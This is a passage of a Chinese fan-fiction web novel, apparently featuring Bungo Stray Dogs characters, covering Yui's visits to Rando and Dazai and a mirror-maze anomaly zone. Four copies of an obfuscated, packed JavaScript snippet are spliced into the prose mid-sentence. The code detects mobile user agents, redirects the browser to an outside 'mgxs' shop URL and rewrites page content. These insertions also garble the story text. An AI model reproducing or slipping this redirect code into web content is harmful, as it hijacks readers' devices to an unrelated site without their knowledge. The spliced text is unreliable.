又过了没几分钟,被太宰治气到跳脚又不得不去处理战后的人员清点以及实际物资武器统计的中原中也也怒气冲冲地摔门离开了。 这下房间内只剩下刚刚就事不关己,盯着玻璃珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140765|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发呆的江户川乱步和其他人离开后表情迅速淡漠下来的太宰治。 “太宰,” 太宰治听到侦探叫他,头微微向那边偏了偏,示意自己在听。江户川乱步报出了一个精确到分钟的时间区间,然后才抬起眼,问道, “在这个时间段里,你在异常区内有感知到什么奇怪的地方吗?” 两人心照不宣地忽略了异常区内时间感知会变得模糊这种对普通人而言的难点。 太宰治挑了挑眉,显然也意识到了什么,但他没有立刻回答,而是先反问了一句: “这个时间段发生了什么?不对,让我换个问法——这个时间段内,我们的首领小姐身上发生了什么?” “就在你进入异常区不久之后,结衣的异能出现了异常波动。就我看来,或者说是暴走,或者是持续在使用,亦或者是在蓄势待发,大概持续了这么久。不过她本人似乎对此毫无察觉,也完全没有那段时间的记忆。” 江户川乱步以往轻松明快的表情消失不见,他双手交叉背在脑后,身体向后靠在椅背上,目光一眨不眨地锁定在太宰治脸上。 太宰治静静地站在那里,想起那段漫长的信号干扰,以及那幸运或者偶然的“第一百位”。 过了许久,少年转身离开,黑色的长款大衣下摆在空中勾起利落的弧度: “连自己本身都完全忘记了这件事……听起来,真是让人讨厌到作呕呢,不是吗?” 他虽然没有回答直接回答这个问题,但这样的态度已经足够表明事实了。 而江户川乱步只是静静地坐在椅子上,看着太宰治离开的背影。 他其实也有一件事没有对太宰治说出口。 当时尽管他的大部分注意力都集中在指挥战局上,但视线的余光也并没有离开少女半分。而在那段时间内,有那么极其短暂的一刹那——几乎连一秒都不到,甚至像是视觉错觉一样,他的视网膜上失去了对方的身影。 黑羽结衣对指挥室内这场交谈一无所知。就算知道,她也不清楚那时具体发生了什么事。此时她已经站在了兰堂在港口mafia大楼内的房间门口,轻轻敲了敲门。 里面寂静无声。 “是我,兰堂哥,我可以进来吗?” 在第二次敲门的时候,她趁着那份短暂的空隙,稍微提高了点音量向里面询问。 又等了几秒钟,就在黑羽结衣已经犹豫着在想要不要使用异能直接进去的时候,门内终于传来了低低的声音: “……请进吧,结衣。门没有锁。” 房间内没有开灯,一片漆黑。兰堂并没有躺在床上,而是已经起身,静静地坐在床沿,声音有些低哑: “你怎么来了?其实我没有什么事,只是……可能需要休息一段时间。” 她走进了才发现,青年已经把床上的被子都裹在了身上,但依旧对那温度不满足。 兰堂哥……好像比之前更怕冷了。 而她记得乱步之前提过,这种冷并非是生理因素,更多的是由心理因素造成的。 12.加入组织的理由 这个念头只是在她心头划过一瞬,黑羽结衣没有开灯,在距离他不远不近的地方停下: “我有点担心你,果然是因为之前的异能使用太过剧烈,消耗太大了吗?有没有哪里不舒服?” “稍微有些,但那不是……不如说……算了,我现在也有些混乱,不清楚这究竟是好事还是坏事。” 他对此避而不谈,黑羽结衣只能隐隐感觉着他在注视着自己,目光比平时更带着一股沉甸甸的重量。她轻声问道: “兰堂哥,是想起什么了吗?还是……身体有什么异样?” “不,不是你想的那样。” 兰堂摇了摇头,阴影随着他的动作晃动, “只是……看到你,突然有些感慨。明明你已经失去了所有的记忆,连自己是谁、我们是谁都忘记了……但对我们的关心,却还是一如既往地没有变。” “即使我忘掉了过去的经历和细节,但有些东西,是不需要记忆来维系的,兰堂哥。我们是家人,这份羁绊是刻在灵魂最深处的,不是记忆能轻易抹去的东西。你看,今天听到太宰可能出事,兰堂哥你不也是立刻就急迫起来,甚至不惜透支异能也要快速结束战斗吗?我们明明都抱着一样的心情。” 不知道为何对方的心情此刻这么低落,黑羽结衣想了想,笨拙地学着之前对方的模样,借着这个高度差,将手放在青年的头上,温柔地揉了揉, “兰堂哥是我们重要的家人。所以,不管发生了什么,如果有不舒服的地方,或者需要倾诉,一定要及时和我说,好吗?我们一起想办法,你从来都不是一个人。” 少女听到对方一声长长的,仿佛卸下了某种重担的叹息,随后,那语气也回暖了: “我知道了。作为长兄还需要你来安慰,还真是不像样啊。” 他主动换了话题, “对了,太宰怎么样了?他没受伤吧?” “太宰啊,他遇上了异常区,算是平安无事地出来了吧,他刚回来的时候胸口处全是血迹,还把我吓了一跳,后来他才解释说那是空包弹和血包的双重伪装。” 说到这里,黑羽结衣又是无奈又是好笑。 “原来如此。不过,我建议还是让医疗部的人再给他仔细检查一遍比较好。” 兰堂恢复了平时那副细致的兄长模样,语气带着不赞同, “虽然是空包弹,但如果是在极近距离被击中,冲击力也可能造成肋骨骨裂或软组织挫伤。太宰他……一直是这样。偶尔我也会想,万一哪一次,他是真的受了伤,说不定也会这样轻描淡写地掩盖过去,装作无事发生。” “嗯,我知道的。不过刚刚男士们好像有些话要避着我说,我就先离开了。放心吧,兰堂哥,不管是过去还是未来,我都会好好的看着大家的。” 黑羽结衣其实察觉到了那突如其来的争吵有刻意的部分,像是太宰治故意挑事,但就像是她察觉到兰堂的异常却没有明说,察觉到江户川乱步之前的欲言又止也并没有追问,她对太宰那边也抱有相同的态度。 这是一种……本不应该,或者至少不该在失忆的状态下出现的过度信任。 但她没有再深入考虑。 不过倘若让她在内心里做一个排名,她或许就会发现什么异样,比方说她对兰堂的信赖度,在某些情况下远没有对太宰的信赖度高,不过这些并不是重点。 从兰堂的房间离开没多久,她就在走廊里撞上了刚刚还在她脑子里打转的太宰治。面对如此良机,黑羽结衣当然不会放过这个机会,在少年带着点疑惑的微妙目光中,少女一个箭步冲过去,揪着他的胳膊就向医疗部的方向走去。 “等,等等,小姐!?不要用这种压犯人的力度压着我走啦,很痛欸——” 在他保证自己绝不会逃跑之后,黑羽结衣才从拽着他改成了两人并肩走的姿势。 太宰治委屈巴巴地揉着自己的手腕: “所以突然这是怎么了,我感觉我遭受了无妄之灾……” “兰堂哥刚刚提醒我说即使是空包弹你说不定也有肋骨骨折的风险,我觉得他说的很有道理。你自己肯定懒得去检查,就只能由我亲自带你去医疗部了。” 她回答的理所当然。 “我觉得我自己好的很……” 少年刚要脚下开溜,又被她一把扣住了手腕。黑羽结衣眼睛弯起,但眼底却毫无笑意: “这、可、是、Boss、的、命、令哦,太、宰、君?” ——检查结果是轻微骨裂。 少年满脸阴郁的任由中年大叔对他上下其手,把他的上半身捆成了一个粽子,脸上写满了生无可恋。除此之外还有一些擦伤和软组织挫伤,大概率是当时那位村田太过用力造成的伤势。 医疗部的负责人在顶头大上司的死亡注视下严格按照标准流程将这些全部处理了个遍,以至于最后擦着脑门上的冷汗逃也似的离开的时候,床上的少年已经被里三层外三层捆紧,成了名副其实的绷带架子。 “残酷,无情,好过分——” 白色的毛毛虫在病床上艰难地蛄蛹了一下,但因为在黑羽结衣“好好治疗”的要求下甚至还被打了石膏,这个动作做起来也异常艰难。 “你不是很喜欢吗?我是说绷带。” 黑羽结衣拉过一张椅子,在病床边坐下,非常有探视意识地视线四处逡巡,结果还真让她在隔壁的床头柜找到一只苹果来,她就那样一只手托着苹果,另一只手比划着用自己的异能试图削出完美的苹果皮。 看上去像是在魔术杂耍一般。 “这种程度的喜欢还是敬谢不敏……” 目前唯一能自由活动的小半张脸上,仅露出的那只鸢色瞳孔带了点生无可恋。黑羽结衣嘴角抽了抽: “其中一部分不也是你主动自己缠上去的吗?” 她放下苹果,仔细端详了他一下,忽然伸出一只手将他额前浓密的卷发掀开一半,果不其然看到了从后脑勺一路缠到眼睛的白色绷带,不由产生了点纯粹技术层面的好奇: “话说回来,这个缠法要显得不臃肿比较麻烦吧?难道是你每天都会早起,对着镜子调整绷带的位置和角度吗?” 思绪一旦发散,就收不回来了。她又“啊”了一声,像是抓住了什么诀窍, “这么说起来,医疗用的绷带也有很多种,不同品牌啊宽度啊透气程度之类的……你该不会私下里把各种品牌、各种型号的都试了个遍,最后才选定了自己最喜欢的一款?” 这么一想,绷带也是一种另类的时尚单品啊。 太宰治看她的眼神如同看一只恶魔。 “被说中了?” 黑羽结衣恍然不自知地学着他平日里的样子歪歪头,问道。 “小姐你真的是……” 少年躺在床上,很大声地叹着气, “我好歹也是为组织带回了重要的情报,为什么突然生起气来啊,还把我折腾成这个样子。” “我没有生气哦。” 她秒速否认,继续削自己的苹果皮, “不过如果你愿意好好说说之前在异常区具体发生了什么,又是因为什么对自己使用了那发弹药,我就下次让医生对你睁一只眼闭一只眼。” “听起来确实很心动呢……” 他慢吞吞地说, “但是,不行哦。那里面涉及到一点我个人的‘小秘密’了。所以,我拒绝。” “秘密啊……说起秘密,之前乱步和我说,你是因为掌握了我的某个秘密所以主动加入我们的。” “小姐是想让我现在就告诉你吗?” 他脸上挂起神秘的笑容,声音也压低了些, “确实哦,我手里,掌握着关于小姐非常——有趣的秘密呢。但是,在其他人甚至是小姐本人都不知道的现在,我是更不可能说出来了,这可是我的……嗯,保命技能?” “掌握这个有什么必要性吗……不过既然这样,你为什么要加入港口mafi ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144216|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' a?” 她似乎对这个问题更在意一些, “就我所知,我的朋友们并没有全部加入mafia,比如晶子,身为掌握我把柄的你更应该有多的选择余地才对。” “因为——” 太宰治拖长了语调,似乎在搜寻合适的词汇, “很有意思啊。” 想起之前多次听到的对方各种离谱的自杀方法,黑羽结衣筹措着自己的用词,尽量礼貌地发问: “……太宰君,以防万一我先问一句,你该不会是那种看到蝴蝶会扯掉对方翅膀以它的挣扎为乐趣的类型吧?” “那听起来也太低级无趣了。” 太宰治露出放弃一般的笑容, “只是稍微——对黑手党的工作产生了点兴趣。以及,其他人的秘密我也多少知道一些,所以,我真的很好奇——” 他却突然不说了。只是又提起第一个理由, “黑手党的工作和光明的世界不同,在这里,死亡是日常的延长线上的一部分,它不是活着的反面,而是拼凑成活着的一部分。我想,如果能够近距离观察这件事,说不定就能拼凑出生存的全貌来,我也有能找到活着的意义的可能。当然了,更多的可能是什么都找不到。” 又来了。这样的发言。 黑羽结衣算是明白为什么之前乱步给她的建议是直接无视了,因为太宰本身的想法不会因为任何浅薄的理由而转移,她只好再次转回话题: “呐,真的不能告诉我吗?哪怕是别人的秘密也行。” “不可以哦。秘密之所以被称之为秘密,就是因为无人知晓啊。” “恶劣。” 黑羽结衣直白地评价, “但是,如果是大家的话,只要你提出的需求足够正当,那么不需要什么把柄,大家也会主动帮你的吧。除非你只是想捉弄人,但作为那个的理由来说又太过度了。” “嗯……也有这种可能性存在呢,不过,” 太宰微微笑起来,用甚至可以称之为温柔的语调说道, “被掌握了秘密的时候,人会变得很有人类的感觉。” “我喜欢那个。” 黑羽结衣定定地看了他几秒,随后将削好的苹果丢了过去,被对方稳稳接住。 “没意思,我走了,医生说你需要静养至少一周。我会让医疗部的人盯着你的,不休息好别想提前离开这。” “行动限制加上全天候监视吗,小姐也变得越来越有黑手党首领的气质了呢,” 太宰治咬了一口苹果,含糊不清地抱怨着,在她即将踏出医疗室的门的时候突然像是随口一提般问道, “对了,小姐觉得,因为讨厌某个未来所以想尽办法回到过去,拯救那个未来……这种事,是有可能做到的吗?” “不可能吧。” 她下意识接话,但随后又摇了摇头, “不过,也许会有这样特殊的能力也说不定。你问这个是发生了什么吗?” “稍微有些好奇罢了。” 大概是见到她神情狐疑,躺在病床上的少年咬下最后一口苹果后,问出今天最后一个问题。 而那个问题黑羽结衣没有回答。 她回到首领办公室的时候,江户川乱步正霸占着办公椅上,缩在里面脚尖轻点着地面,无聊地让椅子转着圈,看到她回来,少年了然地点点头: “看来太宰果然没有告诉你。” “嗯,我对此本来也有心理准备,” 黑羽结衣心不在焉地回答道, “你说,我们要不要请个心理医生来比较好?我觉得心理健康也是人很重要的一部分。” “在mafia里吗?” “也是呢,估计没什么人愿意应聘吧。” 她长长叹了一口气,把自己缩进了旁边会客用的椅子里,心事重重地抱着膝盖陷入了沉思。 侦探看着她,歪了歪头。 重点不是那个吧…… 13.镜子 之后的时间流逝的异常飞快。 这期间发生了两件事。第一件事直接源于对GSS的反击,那次行动不仅重创了外部敌人,还狠狠挫伤了那位在先代时期便手握重权,对黑羽结衣这位新任首领阳奉阴违的元老干部。 而根据之前那位已经消失在异常区深处的村田队长的供词,太宰治躺在病床上也没有消闲,凭借着零碎的信息就把无法抵赖的实物证据直接送到了黑羽结衣的办公室桌子上。 最终的结局毫无悬念。在港口mafia内部,背叛是最不可饶恕的原罪。在其他人还没有反应过来的时候,太宰治已经彻底把那位干部用这些绝对的证据拉下了马,这其中大概也有江户川乱步的功劳——毕竟他惦记着对方的办公室已经很久了。 而作为叛徒,□□向来有用更加特别的手段杀鸡儆猴。太宰治甚至还“好心”问她要不要去现场观看,还没说完就被中原中也一脚踢出了大门。 这次内部清洗总算让心思迥异,暗流涌动的港口mafia内部安静了片刻。黑羽结衣也终于得以从无穷无尽充满着试探和废话的文件堆里稍稍解脱。 但另一方面,随着江户川乱步心满意足地搬进了那间视野绝佳宽敞明亮的新办公室,整天在里面埋头折腾他的零食柜和小机关时,太宰治出现在首领办公室的频率,便开始以令人侧目的速度攀升。 不知道为什么,他似乎总是总是能在各种意想不到的时机、从各种匪夷所思的角度悄无声息地冒出来,仔细地观察着她,像是在看什么外星生物一样,但如果被黑羽结衣捕捉到视线,少年就会立刻用各种无聊的话插科打诨过去。 “太、宰、治!你这么闲的吗?” 终于忍无可忍的黑羽结衣眼下还挂着两个青黑的眼圈,对着狗狗祟祟不知道什么时候悄无声息就钻进她办公室的少年,叉着腰发问。 “什么嘛,小姐这话好伤人!” 太宰治立刻露出一副被冤枉的委屈表情,拖长了语调抗议, “我最近分明也有在努力工作哦——那些大家都嫌麻烦不想沾手的脏活累活可都是我在做,已经忙到部下们都脚不沾地的地步了哦!” 他这么说着,黑羽结衣也确实顺着想起了最近某些报告的署名,一时间气势弱了几分: “辛苦你了……” “是吧~” 他一边说着,一边非常自然地把自己扔进沙发里,顺手还从茶几上的果盘里摸了个橘子开始剥。 “而不像某些人……” 太宰治意有所指地拉长了尾音, “比如兰堂先生,听说他最近经常早出晚归,神神秘秘的,好像也没怎么履行他作为新任干部该做的日常管理工作吧?小姐对此就没什么看法吗?” 橘子皮的汁水在他指尖迸溅,少年端详着橘子瓣,又饶有兴趣地开始去除上面的白色部分。 “兰堂哥最近……” 黑羽结衣觉得他转移话题的技巧太拙劣了,但这个问题确实无法令人忽视, “我觉得他可能是有想起什么或发现之前的线索了,所以最近在调查擂钵街的事。况且,他刚刚升任干部,交接和适应也需要时间。该他负责的那部分工作,他也都有在按时完成,并没有懈怠。” 然而话虽如此,无法忽视的事实就是自从那次GSS行动后,兰堂时常独自外出,却从未主动向包括她在内的任何家人提起调查的具体内容或进展。 浅淡的阴霾在少女的心底悄然浮现,她用力摇了摇头,像是要把这不安的预感甩出去一样: “别转移话题,你这边呢?下次再找不出什么合理正当的理由的话,我就要让门口的守卫把你拦在外面,没有预约概不接见。” “好过分——” 少年拉长音调,将橘子丢进嘴里,随后露出了被酸到的表情, “嘶,好酸,采购收了回扣吧——!不过这次我可是有正当合理的理由哦,小姐还记得上次拿到的那份地图吧?上面新出现了一个异常区。” “啊……” 她的额头无力地抵在了冰冷的实木桌面上,发出了一声仿佛灵魂都要被抽走的叹息。 “不去吗?” 太宰治眨了眨眼睛,虽然像是在发问,但眼底分明带着看好戏的笑意。 “……去。” 黑羽结衣终于认命般抬起头,整个人都呈现出一种颓败的气息,有气无力地问他, “只有我们两个人去吗?” “我本人倒是不介意和小姐来一场浪漫又刺激的二人冒险啦,不过,让组织首领亲自和我这种毫无战斗力的文职人员涉险……稍微想想,都觉得回来之后会被某个暴力小矮子揪着衣领揍到生活不能自理呢。所以我想问,小姐觉得兰堂先生会不会有空?” 他们的视线在空中一瞬相接,黑羽结衣立刻明白了他的意思,拿起了电话: “我知道了,我去问问。” “哦,对了。” 她想起刚刚的抱怨,又补充了一句, “你别去乱找采购的麻烦。橘子酸和他们没关系,那是我要求的。” “欸,为什么……!” 少年刚问了半句就反应过来了,他这下是真的瞪大了眼睛,表情不知道是因为被酸到还是什么显得有些扭曲, “太过分了,这个是真的太过分了!” 黑羽结衣已经拨通了电话,装作完全没听到对方的抱怨。兰堂听完她的请求,哪怕原本真的没空,也硬是立刻推掉了所有安排,火速赶了回来。 不仅如此,这位年纪最大的大家长回来之后就板起脸,环抱着双臂,将两个试图偷跑的家伙结结实实地批评了一顿,最终,遭殃的人成了除与谢野以外的全部。 也就是——集体任务。 与谢野晶子:凭借着柔弱的?医生形象逃过一劫,并决定回去打磨一下她的电锯。 此刻,他们五个人已经到达了地图上那个坐标的附近。 “这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158235|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……我记得曾经是马戏团。不过没什么演出,后来好像因为经营不善还是别的原因,就废弃了。” 中原中也先开口,随后他转向旁边正低头研究地图的太宰, “你那边呢?” “镜子迷宫,这是地图上显示的名称。听上去和马戏团也的确有相似之处。” 少年收起地图, “范围大致也就是在建筑内的整个区域,如果单纯从名字上看,里面应该会是相当复杂的路线,说不定出现多个自己,或者什么‘被关在镜子里’也是有可能的事。” “什么乱七八糟的。” “欸,小矮子没听说过吗,游乐园里关于镜子迷宫的传说——” 没去管那两个人的交锋,世界第一的侦探有些苦恼。 “迷宫……” 江户川乱步皱起眉, “我不擅长寻路啊。” “如果迷宫的内部空间坐标是固定的,说不定我可以校准,但前提是里面能使用异能。” 黑羽结衣安慰他。 这次探索,除了调查异常区本身,也肩负着测试黑羽结衣那枚怀表触发条件的任务。为了减少无关变量干扰,他们甚至没有让下属先行进去打探。或者也可以称之为一种对自己能力的自信。 “那么,” 太宰治像是脑袋后面长了眼睛一样,轻松地朝左边一个大跨步躲开了中原中也的飞踢,率先迈开脚步,踏上马戏团剧院外的台阶,表情轻松, “就进去看看这个异常区,到底准备了什么样的‘惊喜’给我们吧?” 随着一声刺耳的“吱呀——”,太宰治用力推开了那扇沉重的大门。 下一秒,无穷无尽的“他们”,瞬间充斥了所有人的视野内。 或者换种说法,他们被无穷无尽的镜子包围了。从脚下踩着的地板,到两侧高耸直至天花板的墙壁,再到头顶那片弧形穹顶,目光所及之处,全部都是镜面。没有任何装饰,没有一丝缝隙,只有镜子与镜子之间相互折射、复制、衍生出的,一片令人头晕目眩的银色世界。 而在无穷尽的相互作用的镜子中,倒映的是无数自己的形象。 “唔……好晕……” 江户川乱步立刻捂住了眼睛,本来就没什么方向感的侦探被过多的重复影像打出了巨大的信息冲击。 兰堂向前一步扶着他,但随着青年的动作,无数个“他”同步行动,脚步声在封闭的空间内交叠着,多重的混乱叠加,就连黑羽结衣也不由感觉自己的感知出现了扭曲。 “真是令人讨厌的地方啊,你说对吧,小矮子?” 太宰治面无表情地看着这些倒影,心情似乎比刚才坏了不止一点。 “是啊,看到你这张脸出现了这么多,简直是核弹级别的精神污染,我要吐了。” 中原中也警惕地打量着四周,身上泛起红光,这里意料之外的竟然没有“禁止使用异能”这样的限制条件,反倒显得更特殊起来。 14.迷宫 太宰治少见的没有直接开口嘲讽中原中也的行动,直到那红光寸寸覆遍周围目之所及所有的镜子,再在重力的压迫下爆裂开来,随后又像幻梦一场般缓缓恢复原初的模样。 “啧。” 虽然猜到了有这样的可能,但中原中也还是不自觉的咂了咂舌,转头看向自进来之后就异常低气压的太宰, “喂,别干杵在那里不干活,说说你的看法。” 太宰治这才慢吞吞地抬起眼皮,用那种仿佛对一切都提不起兴致的语调回答: “这里有这么多厉害的空间系异能者在场——兰堂先生,还有我们亲爱的首领小姐,你却只来问我这个毫无战斗力的文职人员?” 他嘴角扯出一个没什么温度的弧度, “还真是感谢你的信任呢。这边建议你往前走几步,对着这些镜子说‘你好’,然后期待某个‘自己’能回应你一下——说不定能开辟出新的交流渠道哦。” 另外两个站在原地的空间系异能力者: …… 兰堂伸出手,使用了自己的异能,红色的方块体在他们的视线内迅速展开扩延,过了十几秒又收了回去: “暂时找到了五条分叉路口,目前每个方向都没有阻碍,再远一点的距离我就感知不到了,抱歉,暂时只能做到这一步。” 而黑羽结衣只是扶着状态稍微好了一点的侦探站在原地,并没有任何动作。 中原中也突然就意识到了背后的含义: “那样的话,找到迷宫的中心恐怕要费不少功夫。” “这句话大错特错吧,小矮子。” 太宰治立刻接话,语气微妙, “你怎么就能假定我们所在的这个迷宫,就一定存在所谓的中心?退一万步说,就算真的有这种东西存在,那逃生的钥匙或者说规则,就一定会放在那个中心处,等着我们找到吗?” 他顿了顿,鸢色的眼眸扫过周围的镜面, “另外,我们真的是站在这个迷宫的‘起点’吗?” 被接连着反驳,中原中也脸上闪过一丝不快,钴蓝色的眼眸瞪向太宰治: “好话坏话都叫你说了,你就一点建设性的办法都提不出来吗?” “那么——以防万一出现童话故事里常见的‘被镜子中出来的一模一样的人所替代’这样的套路,碰上更令人讨厌的小矮子,来设一个大家都知道答案的问题吧。” “那么,要现在就说出来吗?” 黑羽结衣开口,她警惕地扫过周围的镜面。 总觉得,看这些镜子久了,镜中自己的倒影似乎产生了一种难以言喻的“陌生感”——同样的眉眼,同样的神情,但在眼睛深处,仿佛有什么东西在悄然改变。 “你不觉得,在提出问题的时候,镜子……也在看着我们?” “也是呢,那么就最简单的一个问题吧,我们几个都知道的答案,” 太宰治手指间晃动着枪柄,语气漫不经心, “比如——各位昨天晚上,都吃了什么?” 就这样拆散成了四组队伍分别出发。 兰堂自始至终都坚持要一个人调查,他自称自己是这里目前最成熟的异能力者,一个人的话不会浪费人力资源。只是黑羽结衣内心中又极快掠过一丝难以捕捉的阴霾。 太宰治和中原中也互相看不惯,让他们待在一个队伍里简直是比破解异常区还难办到的难题。这下有了分头的借口,他们更是求之不得。 中原中也冷哼一声,随便选了一条岔路就大步流星地走了进去。而太宰治则耸了耸肩,慢悠悠地选了另一条方向完全相反的路,临走前还丢下一句“如果小矮子被镜子里的自己吓哭了,记得大声喊救命哦,虽然我大概率会装作没听见就是了~” 这下只剩武力值存疑的失忆首领和迷路系数最高的世界第一名侦探留在原地了。 江户川乱步抬起头,翠绿的眼眸因为晕眩而变得有些水润,他就用那种湿漉漉的眼神望着黑羽结衣,整张脸都皱成了包子: “结衣——我好晕——有这些镜子在,我完全分不清东南西北了——” 黑羽结衣看着他这副模样,忍不住有点想笑,但更多的是心疼。她想了想,忽然开口道: “乱步,如果……换一种思路呢?” 少年眨了眨眼,晕乎乎地看向她。 “不去把这个地方当作要找路迷宫,” 黑羽结衣慢慢说道,一边说一边组织着语言, “而是把它当作……一个需要我们解除的谜题。我们现在需要的,不是找到正确的路,而是找到‘正确的谜底’。” 少年愣住了。 那双翠绿的眼眸里,迷茫迅速消散,取而代之的,是越来越亮、越来越耀眼的兴奋光芒。 “我知道了!” 他猛地站直身体, “交给我吧!这种时候,就要使用我的异能了——!” “异能力,超推理——!” 虽然异能者并不多见,但她的同伴似乎都是异能者,黑羽结衣想到这里,也就忽略了完全没有异能发动感的微妙之处,并把其归类于异能展现状态的多样化。 随着江户川乱步那声标志性的宣告,他整个人仿佛被按下了某个开关,刚才的晕眩和不适全都一扫而空。少年翠绿的眼眸穿透了层层叠叠的镜面倒影,似乎直接地望向了这片镜像迷宫的“本质”。 黑羽结衣安静地站在他身侧,没有出声打扰。 十几秒后,侦探眨了眨眼,眼中的锐利缓缓收敛,恢复成平日那副慵懒的模样。 “怎么样?” “我们从这条路走,结衣!” 轮到江户川乱步牵着她的手腕一路向前了, “安心,和名侦探走不会有事的!” 与此同时,另一条岔路深处。 太宰治双手插在口袋里,慢悠悠地走在镜面通道中,姿态悠闲得仿佛在散步。周围的镜子里,无数个“他”同样悠闲地走着,动作完全同步。 但他知道,同步只是潜在的表象。 “跟了这么久,不累吗?” 他突然停下脚步,头也不回地对着某面镜子说。 镜中的“太宰治”也停下了,同样头也不回。但其中一个像是信号延迟般,比他慢了零点几秒才停下。 然后,那面镜子里的“太宰治”,缓缓地转过头来。 镜外的太宰治也转过身,鸢色的眼眸与镜中那个“自己”四目相对。 “哦呀。” 他轻轻笑了, “居然真的会有这种东西啊。明明我只是随口一说。” 镜中的“太宰治”没有开口,但镜面上浮现出一行血红色的字: “你觉得‘真实的自己’是丑陋的,永远不会被其他人所接纳,对吗?” 太宰治看着那行字,笑容未变,眼神却冷了下来。 “这个问题啊,我不太喜欢呢……” 他慢条斯理地从口袋里掏出那把银色手枪,枪口抵在自己的太阳穴上, “不如我们来做个实验吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197515|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 镜中的“他”也举起了枪,动作依然慢了半拍。 “如果你死了,我会消失吗?” “谁知道呢。” 太宰治语气轻松, “但如果不试试看的话——不就太无聊了吗?” 他的手指搭上了扳机。 镜中的“他”同样如此。 下一秒—— “啧,烦死了!” 中原中也皱眉,暗红色的重力光芒再次爆发,将周围一圈镜子全部震碎。碎片在空中停滞,然后在重力的操控下,如同无数把锋利的刀刃,对准了那些镜子里倒映出的同样的“自己”。 但那些“自己”也同样操控着碎片,对准了他。 僵持。 直到镜子的碎片再度倒流,恢复了往昔光洁整齐的模样。 少年钴蓝色的眼眸深处已经是一片怒火: “你到底想怎么样?!” 镜中的“中原中也”只是静静地看着他: “你害怕真实的自己吗?” 镜面上浮现出字迹。 中原中也愣住了: “我怎么可能——” “你总是认为你和其他人不同,但又不敢表露出来。” “胡说什么!” 少年本能地反驳,但声音里却有一丝他自己都没察觉到的动摇。 他确实害怕。 不是因为镜像,而是因为……他从七年前就没有了记忆。他的“过去”是一片空白。而他知道的那点情报中,隐约指向过一个他完全不想深想的可能性。 镜中的那个“他”,似乎看懂了他的沉默,嘴角缓缓勾起一个诡异的弧度: “证据就是——你不会做梦。” 中原中也睁大了眼,满是不可置信: “你怎么会知道——” “也不知道现在其他人的情况如何了。” 兰堂独自走在寂静的岔路里。 他没有听到其他人的动静,只是静静地向前走,偶尔用异能探测一下前方,偶尔停下来,对着某面镜子出神。 他看到了。 在那层层叠叠的倒影深处,有些画面是他从未见过的,却又莫名地熟悉——黑暗的街角,辉煌的建筑,还有一个男人的背影,那个背影穿着和现在完全不同的衣服,但那轮廓…… 和他一模一样。 兰堂停下脚步,呼吸变得有些沉重。 “你想起来了吗?” 一行字浮现在他面前的镜面上。 他没有回答。 “你想知道真相吗?” 兰堂的手指在身侧微微蜷缩了一下。 他当然想知道。七年前的空白,失去的记忆,还有最近频繁浮现的那些碎片,调查的内容——他想知道一切。 “往前走。” 兰堂沉默了很久。然后,他迈开了脚步。 “我们只需要一直向前就好。” 江户川乱步解释道, “镜子虽然有着迷惑人视线的功能,但最重要的,是反射出自己的形象。也就是说,本质就是面对自己,尤其是自己不想面对的部分。” 他们脚步不停,一直向深处走去。按照侦探的说法,这里的一切都是可活动的,所以哪个方向根本没有意义。 “我可没什么要隐瞒的事情,镜子能照出来的也只是我自己!结衣和我走在一起,它们不会轻易出来的。不过……” 他犹豫了片刻, “大概其他人那里会有点麻烦。” 15.相遇 黑羽结衣回想了一圈几个人的形象,倒是没怎么担心,不过依旧鼓励般补充了一句: “那就拜托我们无所不知无所不能的大侦探了,我们早点解决这个谜团,将大家早点解放出来,好不好?” “嗯!” 被夸奖的少年眼睛顿时亮的惊人,爆发出了新一轮的热情。 黑羽结衣看着他这副模样,心底莫名浮现出一个念头—— 当初的自己,该不会是拐带了未成年人吧? 这个样子的乱步……看上去真的、真的很好骗的样子啊!稍微夸两句就高兴成这样,如果遇到心怀不轨的人,岂不是用一袋糖果就能拐走? 啊,不对,她现在……似乎也不是什么好人。 坏人竟是我自己。 